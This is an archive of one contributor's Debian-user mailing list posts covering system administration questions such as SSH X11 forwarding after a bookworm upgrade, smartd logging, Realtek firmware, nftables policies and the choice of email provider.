>> if i look in /var/log/syslog i see many entries
>
> What is the name of the entries?
>
> For me it is smartd.
>

2023-11-19T07:24:45.772306-06:00 honey smartd[858]: Device: /dev/sdb [SAT], 
SMART Usage Attribute: 194 Temperature_Celsius changed from 111 to 112



no smartd in logwatch

2023-11-20 Thread fxkl47BF
since i upgraded to bookworm there is no smartd section in logwatch
logwatch runs every night using default settings
if i run
logwatch --service smartd --range Yesterday --detail high
i get nothing
if i look in /var/log/syslog i see many entries



Re: Hardware for a back up server? [WAS Re: How to use dmsetuup?]

2023-11-11 Thread fxkl47BF
just my two sense
not advice or promotion
i've used this device for about 2.5 years with 6tb harddrives in raid 1
i have partitions on the raid for the os, debian, and the rest for backups
no problems so far


https://ameridroid.com/products/odroid-hc4




Re: upgrade to bookworm broke ssh x11 forwarding

2023-11-10 Thread fxkl47BF
On Fri, 10 Nov 2023, Vincent Lefevre wrote:

> On 2023-11-10 10:57:21 +0100, Michael wrote:
>> On Thursday, 9 November 2023 19:08:25 CET, Greg Wooledge wrote:
>>> No, this is not a normal phenomenon for bookworm upgrades.  I've never
>>> heard of it happening to anyone before.
>>
>> i disagree. i had the same problem b/c i also had dropbear installed.
>
> It would be interesting to know why dropbear got installed

at sometime in the distance past i thought it would be handy
my initial ramdisk is set up so i can remotely unlock the filesystems



Re: upgrade to bookworm broke ssh x11 forwarding

2023-11-09 Thread fxkl47BF
On Thu, 9 Nov 2023, Jeffrey Walton wrote:

> On Thu, Nov 9, 2023 at 11:43 AM Greg Wooledge  wrote:
>>
>> On Thu, Nov 09, 2023 at 03:01:29PM +, fxkl4...@protonmail.com wrote:
>>> i upgraded from bullseye to bookworm with no problems
>>> when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails
>>>
>>> debug1: Requesting X11 forwarding with authentication spoofing.
>>> debug1: Sending environment.
>>> debug1: Sending env LANG = en_US.UTF-8
>>> debug1: Sending env LC_ALL = en_US.UTF-8
>>> X11 forwarding request failed on channel 0
>>>
>>> the .Xauthority file is not updated
>>> is there new security or configuration
>>
>> On the server, run:
>>
>> grep X11 /etc/ssh/sshd_config
>>
>> That should tell you whether X11Forwarding and its related options have
>> been disabled.
>
> Probably need a 'grep -IR' since overrides can be provided in sshd_config.d/ :
>
>   $ sudo ls /etc/ssh/sshd_config.d/
>   10-pubkey_auth.conf  20-no_root_login.conf
>
> And:
>
>$ sudo cat /etc/ssh/sshd_config.d/10-pubkey_auth.conf
>PasswordAuthentication no
>ChallengeResponseAuthentication no
>KerberosAuthentication no
>KerberosOrLocalPasswd no
>GSSAPIAuthentication no
>UsePAM no
>PubkeyAuthentication yes
>
> Jeff
>

my /etc/ssh/sshd_config.d/ is empty



Re: upgrade to bookworm broke ssh x11 forwarding

2023-11-09 Thread fxkl47BF
On Thu, 9 Nov 2023, Greg Wooledge wrote:

> On Thu, Nov 09, 2023 at 04:59:32PM +, fxkl4...@protonmail.com wrote:
>> now it makes a bit more sense
>> sshd isn't running
>> for some reason the upgrade switched to dropbear
>> is this a new thing for bookworm
>> is there a reason i shouldn't disable dropbear and use sshd
>
> No, this is not a normal phenomenon for bookworm upgrades.  I've never
> heard of it happening to anyone before.
>
> You should be able to reinstall openssh-server and remove dropbear
> and get back to normal, unless there's something else unusual in
> your package set.  As this situation is (AFAIK) unique to your system,
> you'll have to be the one to try it and see what happens.
>

openssh was installed just not running
i stopped and disabled dropbear and started sshd
all is right for now
thanks



Re: upgrade to bookworm broke ssh x11 forwarding

2023-11-09 Thread fxkl47BF
On Thu, 9 Nov 2023, fxkl4...@protonmail.com wrote:

> On Thu, 9 Nov 2023, Greg Wooledge wrote:
>
>> On Thu, Nov 09, 2023 at 03:01:29PM +, fxkl4...@protonmail.com wrote:
>>> i upgraded from bullseye to bookworm with no problems
>>> when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails
>>>
>>> debug1: Requesting X11 forwarding with authentication spoofing.
>>> debug1: Sending environment.
>>> debug1: Sending env LANG = en_US.UTF-8
>>> debug1: Sending env LC_ALL = en_US.UTF-8
>>> X11 forwarding request failed on channel 0
>>>
>>> the .Xauthority file is not updated
>>> is there new security or configuration
>>
>> On the server, run:
>>
>>grep X11 /etc/ssh/sshd_config
>>
>> That should tell you whether X11Forwarding and its related options have
>> been disabled.
>>
>
> $ grep X11 /etc/ssh/sshd_config
> X11Forwarding yes
>
>

now it makes a bit more sense
sshd isn't running
for some reason the upgrade switched to dropbear
is this a new thing for bookworm
is there a reason i shouldn't disable dropbear and use sshd



Re: upgrade to bookworm broke ssh x11 forwarding

2023-11-09 Thread fxkl47BF
On Thu, 9 Nov 2023, Greg Wooledge wrote:

> On Thu, Nov 09, 2023 at 03:01:29PM +, fxkl4...@protonmail.com wrote:
>> i upgraded from bullseye to bookworm with no problems
>> when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails
>>
>> debug1: Requesting X11 forwarding with authentication spoofing.
>> debug1: Sending environment.
>> debug1: Sending env LANG = en_US.UTF-8
>> debug1: Sending env LC_ALL = en_US.UTF-8
>> X11 forwarding request failed on channel 0
>>
>> the .Xauthority file is not updated
>> is there new security or configuration
>
> On the server, run:
>
>grep X11 /etc/ssh/sshd_config
>
> That should tell you whether X11Forwarding and its related options have
> been disabled.
>

$ grep X11 /etc/ssh/sshd_config
X11Forwarding yes




upgrade to bookworm broke ssh x11 forwarding

2023-11-09 Thread fxkl47BF
i upgraded from bullseye to bookworm with no problems
when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails

debug1: Requesting X11 forwarding with authentication spoofing.
debug1: Sending environment.
debug1: Sending env LANG = en_US.UTF-8
debug1: Sending env LC_ALL = en_US.UTF-8
X11 forwarding request failed on channel 0

the .Xauthority file is not updated
is there new security or configuration



wpa_supplicant config for ap with no ssid

2023-10-14 Thread fxkl47BF
how do i configure wpa_supplicant for a ap that does not advertise ssid
i normally use

network={
ssid="ap"
psk="passphrase"
id_str="ap"
}

i tried

network={
bssid=12:34:56:78:90:ab
psk="passphrase"
id_str="ap"
}

with no success
i read that a hex passphrase is required
i found references to pbkdf2 to generate it but no details



Re: how to add module options

2023-09-27 Thread fxkl47BF
On Wed, 27 Sep 2023, Marco M. wrote:

> Am 27.09.2023 um 08:36:00 Uhr schrieb fxkl4...@protonmail.com:
>
>> but i have to manually set it for ntsc and composite input
>
> How do you set it?
>
open xawtv and change settings



how to add module options

2023-09-27 Thread fxkl47BF
i have an old analog camera and usb capture device
the capture device is a kworld dvd maker usb2.0
i'm working on debian 10.13 and kernel 4.19.0-25-amd64
the capture device has svideo and composite inputs
the module em28xx identifies it as
EM2860/SAA711X Reference Design (card=19)
xawtv can play the video just fine
but i have to manually set it for ntsc and composite input
how can i set options in /etc/modules for ntsc and composite input



Re: door bell like sound effect

2023-08-28 Thread fxkl47BF
On Mon, 28 Aug 2023, Cindy Sue Causey wrote:

> On 8/28/23, songbird  wrote:
>> gene heskett wrote:
>>> Greetings;
>>>
>>> odd request:
>>>
>>> Somewhere, for some unk reason, there is a sound file file that plays at
>>> max volume, usually around 2 AM or slightly later, that is very similar
>>> to the 40 yo doorbell in this house. A bing-bong sound that differs from
>>> the real doorbell by maybe 5hz in pitch. Wakes me up, spoiling a good
>>> nights sleep, maybe a dozen times a year an apparently random dates.

have you checked your browser history
in my house gremlins love surf in those early hours :)



Re: why bookworm isn't called deb12?

2023-07-07 Thread fxkl47BF
> Microsoft for good or bad has made major advances in
> software and is responsible for a fair fraction of what we experience in
> our Linux world.

true
if microsoft had ever produced a decent product
linux may not have ever become as popular as it is



usb device

2023-02-11 Thread fxkl47BF
i'm looking at a perixx perimice-513l usb mouse
i can't find or have overlooked info about it working with linux
is anyone familiar with this device



imagemagick import locks keyboard

2022-12-18 Thread fxkl47BF
$ uname -a
Linux grumpy5 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 
GNU/Linux

$ cat /etc/debian_version
11.5

$ dpkg -l imagemagick
Desired=Unknown/Install/Remove/Purge/Hold
|
Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version  Architecture
Description
+++----===
ii  imagemagick  8:6.9.11.60+dfsg-1.3 amd64image 
manipulation programs -- binaries

$ dpkg -l xfce4
Desired=Unknown/Install/Remove/Purge/Hold
|
Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name   Version  Architecture Description
+++-==---=
ii  xfce4  4.16 all  Meta-package for the Xfce 
Lightweight Desktop Environment



in buster i enter in a terminal
$ import foo.jpg
then use ctrl f* to switch to the screen i want to copy
then use the mouse to select the area to be copied
now when i run import the keyboard appears locked
where should i look for the culprit



Re: xfce4 tooltips

2022-12-05 Thread fxkl47BF
On Mon, 5 Dec 2022, Charles Curley wrote:

> On Mon, 05 Dec 2022 12:44:33 +
> fxkl4...@protonmail.com wrote:
>
>> i upgraded to bullseye
>> xfce4 is 4.16
>> how do i get rid of tooltips
>> i can get rid of some but not all
>
> You didn't say how you got rid of some of the tooltips, so I'll guess
> here.
>
> This is after a bit of searching on the Internet. I have not
> experimented with any of this.
>
> XFCE is in the process of moving from GTK 2 to GTK 3. Also, some GTK
> programs outside of XFCE are GTK 2, others GTK 3. This situation will
> probably continue for years.
>
> The solution for GTK 2 is well known.
> https://docs.xfce.org/xfce/xfdesktop/advanced I will guess that that is
> how you got rid of some of them.
>
> GTK 3, not so well known, but there are some things you can try.
> https://bbs.archlinux.org/viewtopic.php?id=232019
>
>
> --
> Does anybody read signatures any more?
>
> https://charlescurley.com
> https://charlescurley.com/blog/
>

some like desktop and launcher have tooltip settings that can be disabled
most plugins have no settings and adding properties like disable-tooltips or 
show-tooltips have no effect



xfce4 tooltips

2022-12-05 Thread fxkl47BF
i upgraded to bullseye
xfce4 is 4.16
how do i get rid of tooltips
i can get rid of some but not all



Re: How to reset one ethernet port?

2022-10-21 Thread fxkl47BF
On Fri, 21 Oct 2022, Charles Curley wrote:

> On Fri, 21 Oct 2022 10:44:11 -0500
> Ram Ramesh  wrote:
>
>> I only have firmware-linux-free and both NIC use the same kernel
>> driver
>>> yoda [rramesh] 313 > sudo lspci -v -s 02:00.0 | fgrep -i kernel
>>> ??? Kernel driver in use: r8169
>>> ??? Kernel modules: r8169
>>> yoda [rramesh] 314 > sudo lspci -v -s 03:00.0 | fgrep -i kernel
>>> ??? Kernel driver in use: r8169
>>> ??? Kernel modules: r8169
>>
>> I like to only work on the broken NIC and not touch the other, if
>> possible.? However, if the other solution (from Dan) does not work, I
>> will try this one. If not, there is always warm or cold reboot since
>> this issue happens only after a week or two.
>
> firmware-linux-free does not have any firmware for any Realtek devices.
> But you may have it installed for other hardware. But it doesn't help
> this problem.
>
> You and I appear to have the same NIC and use the same driver. I have
> (warning, long lines, may get mangled in transit or by your mail
> program):
>
> root@hawk:~# lspci -vs 03:00
> 03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. 
> RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 11)
>   Subsystem: ASUSTeK Computer Inc. AM1I-A Motherboard
>   Flags: bus master, fast devsel, latency 0, IRQ 18
>   I/O ports at e000 [size=256]
>   Memory at f7d0 (64-bit, non-prefetchable) [size=4K]
>   Memory at f000 (64-bit, prefetchable) [size=16K]
>   Capabilities: [40] Power Management version 3
>   Capabilities: [50] MSI: Enable- Count=1/1 Maskable- 64bit+
>   Capabilities: [70] Express Endpoint, MSI 01
>   Capabilities: [b0] MSI-X: Enable+ Count=4 Masked-
>   Capabilities: [d0] Vital Product Data
>   Capabilities: [100] Advanced Error Reporting
>   Capabilities: [140] Virtual Channel
>   Capabilities: [160] Device Serial Number 01-00-00-00-68-4c-e0-00
>   Capabilities: [170] Latency Tolerance Reporting
>   Kernel driver in use: r8169
>   Kernel modules: r8169
>
> root@hawk:~#
>
> However, that says nothing about the firmware (if any) in use. As I
> just rebooted yesterday, I have that handy and grep on the driver name:
>
> root@hawk:~# grep r8169 /var/log/syslog
> Oct 20 15:51:10 hawk kernel: [1.340965] r8169 :03:00.0: can't disable 
> ASPM; OS doesn't have ASPM control
> Oct 20 15:51:10 hawk kernel: [1.363036] r8169 :03:00.0 eth0: 
> RTL8168g/8111g, 30:5a:3a:81:83:79, XID 4c0, IRQ 29
> Oct 20 15:51:10 hawk kernel: [1.365504] r8169 :03:00.0 eth0: jumbo 
> features [frames: 9194 bytes, tx checksumming: ko]
> Oct 20 15:51:10 hawk kernel: [1.368558] r8169 :03:00.0 enp3s0: 
> renamed from eth0
> Oct 20 15:51:10 hawk kernel: [  136.335744] r8169 :03:00.0: firmware: 
> direct-loading firmware rtl_nic/rtl8168g-2.fw
> Oct 20 15:51:10 hawk kernel: [  136.361553] Generic FE-GE Realtek PHY 
> r8169-0-300:00: attached PHY driver [Generic FE-GE Realtek PHY] 
> (mii_bus:phy_addr=r8169-0-300:00, irq=IGNORE)
> Oct 20 15:51:11 hawk kernel: [  136.561754] r8169 :03:00.0 enp3s0: Link 
> is Down
> Oct 20 15:51:13 hawk kernel: [  139.412031] r8169 :03:00.0 enp3s0: Link 
> is Up - 1Gbps/Full - flow control rx/tx
> root@hawk:
>
> Note the line at 136.335744: it loads firmware rtl_nic/rtl8168g-2.fw.
> So, where did that firmware blob come from?

# locate rtl8168g-2.fw
/lib/firmware/rtl_nic/rtl8168g-2.fw
# apt-file find -l /lib/firmware/rtl_nic/rtl8168g-2.fw
firmware-realtek
# dpkg -l | grep -i firmware-realtek
ii  firmware-realtek  20190114-2  all  Binary firmware for Realtek 
wired/wifi/BT adapters



>
> charles@hawk:~$ apt-file search rtl_nic/rtl8168g-2.fw
> firmware-realtek: /lib/firmware/rtl_nic/rtl8168g-2.fw
> charles@hawk:~$
>
> You should do similarly. If the log shows that the driver wants
> firmware but can't find it, you may need to install the appropriate
> firmware package.
>
> I understand that some hardware will work without the firmware blob,
> but work much better with it. This may be one of those situations.
>
> --
> Does anybody read signatures any more?
>
> https://charlescurley.com
> https://charlescurley.com/blog/
>



Re: Mail Transfer Agent

2022-08-21 Thread fxkl47BF
On Sun, 21 Aug 2022, mick.crane wrote:

> On 2022-08-21 07:36, Polyna-Maude Racicot-Summerside wrote:
>
>> I'd like a good email provider, as I ain't sure this (Postmark) will
>> fix
>> all my delivery problem. Would it be better to get a paying plain with
>> Protonmail, who do offer a plan with IMAP/SMTP ?
>
> People have recommended posteo.de
> They seem reliable and painless.
> mick
>

I used posteo.de for a year.
Dropped it in favor of protonmail.
Been using them for about 2 years and very happy.



Re: nft newbie

2022-07-12 Thread fxkl47BF
On Tue, 12 Jul 2022, Gareth Evans wrote:

> On Tue 12 Jul 2022, at 10:19, Maximiliano Estudies  
> wrote:
>
>> drop and reject are not equivalent.
>
> Fair enough
>
> [...]
>> In most cases it's a best practice to configure all chains with
>> _policy drop_ and then add rules for the traffic that you want to
>> allow
>
> All the nftables and PF howtos I have found take this approach.
>
> Why is it best practice?  Is there any security advantage over rejection?

Scammers send out emails to every possible address
If someone happens to respond, "Bugger off", they know they have a good address
If your systems sends a reject notice you're telling someone they have a good 
address
I was taught to drop everything and only open what is necessary



Re: sleep(1) vs. sync(1) twice before umount(8)

2022-07-10 Thread fxkl47BF
On Sun, 10 Jul 2022, David Christensen wrote:

> On 7/10/22 09:57, fxkl4...@protonmail.com wrote:
>> On Sun, 10 Jul 2022, David Christensen wrote:
>>> On 7/10/22 05:55, fxkl4...@protonmail.com wrote:
>
 Several decades ago I was taught to type sync and then type sync
>>> again before unmounting a drive
 The only reason I ever got was that the second sync was a time delay
>
>>> Any potential gotchas?
>>
>> I was never brave enough to poke that bear :)
>
>
> Have you ever experienced any problems or surprises with the technique?

No
I spent a couple of decades baby sitting a room full of HP K200s and K380s
Experimenting was not something done lightly, if you valued your job
You stick with what works
Typing sync twice was advised and I was not inclined to anger some unknown god
Using sleep between operations is as you say experimental
I wrote many scripts that ran as cron jobs at night
I was not concerned with speed
I've been retired for almost a decade and do not miss the sleepless nights



Re: sleep(1) vs. sync(1) twice before umount(8)

2022-07-10 Thread fxkl47BF
On Sun, 10 Jul 2022, David Christensen wrote:

> On 7/10/22 05:55, fxkl4...@protonmail.com wrote:
> > I'm just flapping my gums
> > As a systems administrator for UNIX systems I wrote more than a few
> scripts
> > Many time I found it necessary to put a sleep between operations
>
> +1
>
>
> The hard part is deciding what the NUMBER argument should be.  :-/
>
>
> > Several decades ago I was taught to type sync and then type sync
> again before unmounting a drive
> > The only reason I ever got was that the second sync was a time delay
>
>
> That is an interesting technique.  I sometimes type sync(1) twice when I
> am distracted with several irons in the fire and/or when the system is
> making me worried, but it is not my standard practice.
>
>
> Any potential gotchas?

I was never brave enough to poke that bear :)



Re: Problem mounting encrypted blu-ray disc or image

2022-07-10 Thread fxkl47BF
On Sun, 10 Jul 2022, Nicolas George wrote:

> fxkl4...@protonmail.com (12022-07-10):
>> I'm just flapping my gums
>> As a systems administrator for UNIX systems I wrote more than a few scripts
>> Many time I found it necessary to put a sleep between operations
>> Several decades ago I was taught to type sync and then type sync again 
>> before unmounting a drive
>> The only reason I ever got was that the second sync was a time delay
>
> I do not know if it was ever useful at all or if it always was cargo
> cult, but I am quite sure it has not been any use on Linux in the last
> decade.

But I would not be able to sleep at night
I would have nightmares about corrupt data haunting me :)

>
> You can check for yourself: mount a slow USB stick, create file that is
> just large enough to fit in memory with something that you are sure will
> not make a (f)sync:
>
> head -c $[8*1024*1024] /dev/urandom > /media/blah/dummy
>
> Then unmount and see what happens.
>
> For extra benefit, start ?grep Dirty /proc/meminfo? in another terminal
> before you start and keep an eye on it.
>
> Regards,
>
> --
>  Nicolas George



Re: Problem mounting encrypted blu-ray disc or image

2022-07-10 Thread fxkl47BF
I'm just flapping my gums
As a systems administrator for UNIX systems I wrote more than a few scripts
Many time I found it necessary to put a sleep between operations
Several decades ago I was taught to type sync and then type sync again before 
unmounting a drive
The only reason I ever got was that the second sync was a time delay



Re: Request free live CD

2022-02-10 Thread fxkl47BF
On Thu, 10 Feb 2022, Celejar wrote:

> On Thu, 10 Feb 2022 16:47:18 +0100
>  wrote:
>
>> On Thu, Feb 10, 2022 at 03:05:26PM +0100, Dozzyjean Dozie wrote:
>>> Please I will be very much interested to get a live CD from you, please
>>> what are the prerequisites that are needed to be archived this request free
>>> cd for free from you.
>>
>> See here:
>>
>>   https://www.debian.org/CD/free-linux-cd
>>
>> Since burning a CD and putting into the mail costs money, you can't
>> expect someone doing it for you. In the above page it is explained
>
> I'm genuinely curious about this: time and money are both scarce and
> precious resources. Why is there an assumption that people will gladly
> donate of their time to help others, but not their money? Is it because
> the assumption is that the person asking for help should just spend
> his own money, but may not be able to solve his problem by spending his
> own time?
>
> Celejar
>

What 



Re: remove stop un

2021-10-10 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐

On Sunday, October 10th, 2021 at 2:49 PM, J B Martin  
wrote:

> On 10/10/2021 3:46 PM, fxkl47BF wrote:
>
> > ‐‐‐ Original Message ‐‐‐
> >
> > On Sunday, October 10th, 2021 at 1:46 PM, Brian a...@cityscape.co.uk wrote:
> >
> > > On Sun 10 Oct 2021 at 17:18:13 +, fxkl47BF wrote:
> > >
> > > > just one more thing
> > > >
> > > > posteo was mentioned as an alternative
> > > >
> > > > i have a posteo account i will drop in a few months
> > > >
> > > > their spam policy is to bounce it back to the sender
> > > >
> > > > the account own has no say
> > > >
> > > > You have a link to a statement of this policy?
> > >
> > > Brian.
> > >
> > > i do not
> > >
> > > only a personal email from supp...@posteo.de
>
> Joseph Bryant Martin
>
> USA 804 223-0325
>
> Info Voice
>
> 804 334-4309


i don't know if and/or how to respond to this



Re: [OFFTOPIC] Re: mail service

2021-10-10 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐

On Sunday, October 10th, 2021 at 1:46 PM, Brian  wrote:

> On Sun 10 Oct 2021 at 17:18:13 +0000, fxkl47BF wrote:
>
> > just one more thing
> >
> > posteo was mentioned as an alternative
> >
> > i have a posteo account i will drop in a few months
> >
> > their spam policy is to bounce it back to the sender
> >
> > the account own has no say
>
> You have a link to a statement of this policy?
>
> -
>
> Brian.

i do not
only a personal email from supp...@posteo.de



Re: [OFFTOPIC] Re: mail service

2021-10-10 Thread fxkl47BF
just one more thing

posteo was mentioned as an alternative
i have a posteo account i will drop in a few months
their spam policy is to bounce it back to the sender
the account own has no say

i also have a mailfence account i will drop
a while back i stopped getting mail from my bank
i investigated and found the bank mail was generating a false positive virus
i informed mailfence and they agreed it was probably the cause of my trouble
but they didn't bother to fix it
several months later they started passing mail from my bank

some times you have to kiss a lot of frogs



Re: [OFFTOPIC] Re: mail service

2021-10-10 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐

On Sunday, October 10th, 2021 at 9:31 AM, Stefan Monnier 
 wrote:

> > In general, the circumstances which would require one to use a tool like
> >
> > protonmail are not commonly observed in connection with a list like
> >
> > debian-user.
>
> While protonmail might be used for such situations, in my experience
>
> most protonmail users I've seen are just people that are sufficiently
>
> technically aware to know that they should stay away from gmail and
>
> friends and look for a quality email provider (posteo being another
>
> popular provider in that space).
>
> So, my own bias would rather tend to expect good behavior (good
>
> questions and good answers) from participants posting from
>
> protonmail ;-)
>
> Stefan

well put
you're a much better wordsmith than i



Re: mail service

2021-10-10 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐

On Sunday, October 10th, 2021 at 9:30 AM, Reco  wrote:

> Hi.
>
>
> On Sun, Oct 10, 2021 at 01:44:50PM +0000, fxkl47BF wrote:
>
> > but on another mailing list i used this same address
> >
> > i was banned
> >
> > the admin apologized and explained later my address looked suspicious
>
> Here they do not ban users based on e-mail domain alone.
>
> You have to do something worthy of the ban first :)
>
> Although you could've chosen more pronouceable alias. I mean, your
>
> current one looks like you've swapped your username and password. No
>
> offence meant, just in case.
>
> Reco

no offense taken
i use expect_mkpasswd to generate passwords
decades ago i got tired of trying to come up with user names
i just use expect_mkpasswd to make a short unique name
today everyone is trying to glean all of the personal info they can
i try not give out any more than is necessary



Re: mail service

2021-10-10 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐

On Sunday, October 10th, 2021 at 8:23 AM, Greg Wooledge  
wrote:

> On Sun, Oct 10, 2021 at 09:32:55AM +0000, fxkl47BF wrote:
>
> > in a different mailing list it was implied that if a person uses protonmail 
> > they must be up to no good
> >
> > i've used protonmail for about 6 months now and been satisfied
> >
> > what am i missing
>
> I suspect I know which mailing list you're talking about. If I'm right,
>
> the abuse to which you're referring is being caused by one person, who
>
> has switched email addresses and identities repeatedly over the course
>
> of a year. Their latest attempt at hiding their identity has been to use
>
> a series of different protonmail addresses.
>
> For those of us on the receiving end of that person's abuse, the fact that
>
> any message from a new person has protonmail in its message ID is just
>
> one indicator that the message may be from the abuser. We have to
>
> look at other things too, like the actual content of the message.
>
> As long as you're posting in good faith, nobody (as far as I know) is
>
> going to reject your messages only because of your email provider.

that is what a person would hope
but on another mailing list i used this same address
i was banned
the admin apologized and explained later my address looked suspicious



Re: mail service

2021-10-10 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐

On Sunday, October 10th, 2021 at 8:16 AM, Roberto C. Sánchez 
 wrote:

> On Sun, Oct 10, 2021 at 01:09:03PM +0000, fxkl47BF wrote:
>
> > i understand and respect what you are saying
> >
> > i also reject it
> >
> > we have no way of knowing you are roberto
> >
> > following what you say it would make people feel warm and fuzzy if i called 
> > myself george washinton
> >
> > it's just judging a book by it's cover
> >
> > what kind of person does that
>
> Perception is reality.
>
> You are right that in general there does not exist a reliable means of
>
> verifying online identities. However, to appear in an online forum
>
> taking a form that appears substantially different from the bulkd of
>
> other participants in the forum will attract attention.
>
> To that end, depending on the threat model you are trying to address,
>
> appearing through a provider like protonmail has a different set of
>
> trade-offs from using a more well-known provider, not associated with
>
> total anonimity (like Gmail, Yahoo, etc.) and a pseudonym that more
>
> closely resembles a real name.
>
> If your goal is absolute and total anonimity while minimizing the
>
> likelihood that your true location/identity/etc. can be discovered, then
>
> protonmail is likely the way to go. However, that makes you "stick out"
>
> in a place like debian-user. If you wish to have a degree of anonimity
>
> while blending into the background, then a Gmail account using a
>
> pseudonym would probably attract far less notice.
>
> Regards,
>
> -Roberto
>
> -
>
> Roberto C. Sánchez

once again i totally agree and disagree
gmail, yahoo, gmx, etc. state that they scan mail going through their service
today personal information is gold
and for anonymity, the safest place to hide a tree is in a forest
years ago i saw a show where the character said

spies make the best neighbors
they keep their lawns cut and always take in the trash cans
they do everything the perfect average person should do



Re: mail service

2021-10-10 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐

On Sunday, October 10th, 2021 at 7:17 AM, Roberto C. Sánchez 
 wrote:

> On Sun, Oct 10, 2021 at 09:32:55AM +0000, fxkl47BF wrote:
>
> > in a different mailing list it was implied that if a person uses protonmail 
> > they must be up to no good
> >
> > i've used protonmail for about 6 months now and been satisfied
> >
> > what am i missing
>
> Services like protonmail have an important role in allowing
>
> communication from, to, and between persons who are under threat of
>
> persecution for some reason or another. E.g., political dissidents,
>
> whistleblowers, journalists, religious workers in certain countries,
>
> etc.
>
> In general, the circumstances which would require one to use a tool like
>
> protonmail are not commonly observed in connection with a list like
>
> debian-user. Since the history of the Internet is one of openness and
>
> collaboration (especially when it comes to newsgroups, from which lists
>
> like debian-user derive a heritage), to appear in a collaborative space
>
> without any way for the other participants to identify you is viewed
>
> with suspicion. Whether that is a fair or unfair bias is debatable.
>
> There is also ample evidence that very often, those who appear in
>
> technical fora under a cloak of anonimity do so for the purpose of
>
> disrupting, attacking, and so on, without risk to their real reputation.
>
> Regards,
>
> -Roberto
>
> 
>
> Roberto C. Sánchez

i understand and respect what you are saying
i also reject it
we have no way of knowing you are roberto
following what you say it would make people feel warm and fuzzy if i called 
myself george washinton
it's just judging a book by it's cover
what kind of person does that



mail service

2021-10-10 Thread fxkl47BF


in a different mailing list it was implied that if a person uses protonmail 
they must be up to no good
i've used protonmail for about 6 months now and been satisfied
what am i missing



phone usb

2021-07-15 Thread fxkl47BF
does anyone know if the usb in this phone is supported by linux
https://www.lively.com/phones/lively-flip/



thunderbird vs clawsmail

2021-06-06 Thread fxkl47BF
i've gone back and forth between thunderbird and clawsmail

clawsmail is lightweight and clean, i like that
debian stable only has an old version, i don't like that
to get an up to date version i have to continuously compile from source, i 
don't like that

thunderbird is overly heavyweight for my use, i don't like that
thunderbird is self updating, i like that



thunderbird

2021-05-30 Thread fxkl47BF
for a few decades i have used pine/alpine.
i'm considering a new mail application.
there are more out there than you can shake a stick at.
what are your thoughts of thunderbird.



Re: firefox file list

2021-05-28 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐
On Friday, May 28, 2021 7:33 AM, fxkl47BF  wrote:

> i'm using debian 10.9 and firefox 88.0.1
> how do i get firefox to show dot files in file listings

i just found it so i'll answer my own question
right click on the file list



firefox file list

2021-05-28 Thread fxkl47BF
i'm using debian 10.9 and firefox 88.0.1
how do i get firefox to show dot files in file listings



Re: How to capture composite video

2021-05-17 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐
On Monday, May 17, 2021 11:39 AM, Charlie Gibbs  wrote:

> I have a number of VHS tapes which I'd like to digitize, and I'm
> trying to figure out where to start, hardware- and software-wise.
> I'm running Debian Buster (10.5), kernel 4.19.0-10-amd64. I found a
> pcHDTV HD-5500, which I believe is basically a Hauppauge WinTV-PVR-150
> tweaked for Linux, and dropped it into my box, where it is found by
> lspci and shows up as /dev/video0. The card has an extender cable
> which leads to a bracket with RCA connectors for audio and composite
> video, as well as an S-Video connector. (For now, at least, I'm not
> interested in the TV tuner on the card.)
>
> Presumably, with the proper software and configuration settings,
> I should be able to plug a VCR into the RCA connectors and have
> video come up on the computer's screen, and hopefully save it to
> disk in some sort of standard format.
>
> What's a good starting point to find information on how to do this?

Canopus ADVC-300
i've used this device for many years
i works flawlessly
play the video
push a button on the advc-300
get a perfect digital copy



Re: Panasonic KX-P1124i dot matrix printer connected via parallel port [was: Re: ot: kx-p1124i configuration]

2021-05-08 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐
On Saturday, May 8, 2021 2:35 AM, Andrei POPESCU  
wrote:

> On Sb, 08 mai 21, 00:41:52, fxkl47BF wrote:
>
> > > > > > > On Friday 07 May 2021 07:10:16 fxkl47BF wrote:
> > > > > >
> > > > > > i checked the port and it is set to epp
> > > > > > excuse me if i ramble a bit
> > > > > > i create a file with one word 'hello' followed by a newline and a
> > > > > > carriage return the content of the file in hex is 68 65 6C 6C 6F
> > > > > > 0A 0C if i print the file with cat file > /dev/lp0 i get "helloJL"
> > > > > > capital J is 0x0a plus 0x40, capital L is 0x0c plus 0x40
> > > > > > 0x0a and 0x0c are control characters
> > > > > > where and why are they being converted to printable characters
> > > >
> > > > i tried a motherboard with a builtin parallel port
> > > > a startech card, a rosewill card, and a parallel to usb adapter
> > > > the results was all the same
> > > > the answer is probably right in front of me and i'm to thick to see it
> > > > :)
> >
> > i have a friend that has a different make of dot matrix printer
> > i'm going to see if he'll let me borrow it
> > this list doesn't seem to be the best place to discuss printers
> > maybe the people at emc-users would have some ideas
> > they don't seem to mind off topic discussions
>
> Well, it's been a while since I dealt with dot matrix printers at this
> level.
>
> Changing the subject might draw attention to somebody with current
> knowledge[2].
>
> [1] work doesn't count as I'm just a user there.
> [2] BTW, it's definitely on topic here because you're trying to make it
> work with Debian

thanks
it will spark a memory in another one of us old timers



Re: ot: kx-p1124i configuration

2021-05-07 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐
On Friday, May 7, 2021 7:27 PM, Gene Heskett  wrote:

> On Friday 07 May 2021 19:36:51 fxkl47BF wrote:
>
> > ‐‐‐ Original Message ‐‐‐
